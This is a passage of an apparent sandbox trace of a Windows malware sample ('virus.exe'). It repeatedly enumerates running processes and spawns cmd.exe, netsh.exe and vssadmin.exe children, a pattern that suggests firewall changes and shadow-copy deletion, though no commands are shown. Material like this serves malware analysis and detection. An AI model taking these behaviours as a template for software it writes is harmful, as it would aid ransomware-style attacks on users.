th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0242.958] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0242.958] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0242.958] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.959] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0242.959] CloseHandle (hObject=0x1b0) returned 1 [0242.959] Sleep (dwMilliseconds=0x1f4) [0243.539] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c4 [0243.548] Process32FirstW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0243.549] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0243.549] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0243.550] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0243.550] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0243.551] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0243.551] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0243.552] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0243.552] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0243.611] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0243.916] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.916] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.917] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.917] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.918] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x33, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.918] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0243.918] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.919] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.919] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0243.920] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0243.920] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0243.921] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0243.921] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.921] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0243.922] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0243.922] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0243.923] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0243.923] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0243.924] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0243.924] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0243.925] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0243.925] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0243.925] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0243.926] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.926] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0243.927] CloseHandle (hObject=0x1c4) returned 1 [0243.927] Sleep (dwMilliseconds=0x1f4) [0244.773] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b8 [0244.775] Process32FirstW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0244.775] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0244.776] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0244.776] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0244.777] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0244.777] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0244.777] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0244.778] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0244.778] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0244.779] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0244.779] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.780] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.780] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.780] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.781] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x33, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.781] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0244.782] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.782] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.783] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0244.783] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0244.783] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0244.784] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0244.784] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.785] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0244.785] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0244.785] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0244.786] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0244.786] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0244.787] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0244.787] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0244.788] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0244.788] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0244.788] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0244.795] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.795] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0244.796] CloseHandle (hObject=0x1b8) returned 1 [0244.796] Sleep (dwMilliseconds=0x1f4) [0245.304] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x100 [0245.305] Process32FirstW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0245.306] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0245.306] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0245.306] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0245.307] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0245.307] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0245.307] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, 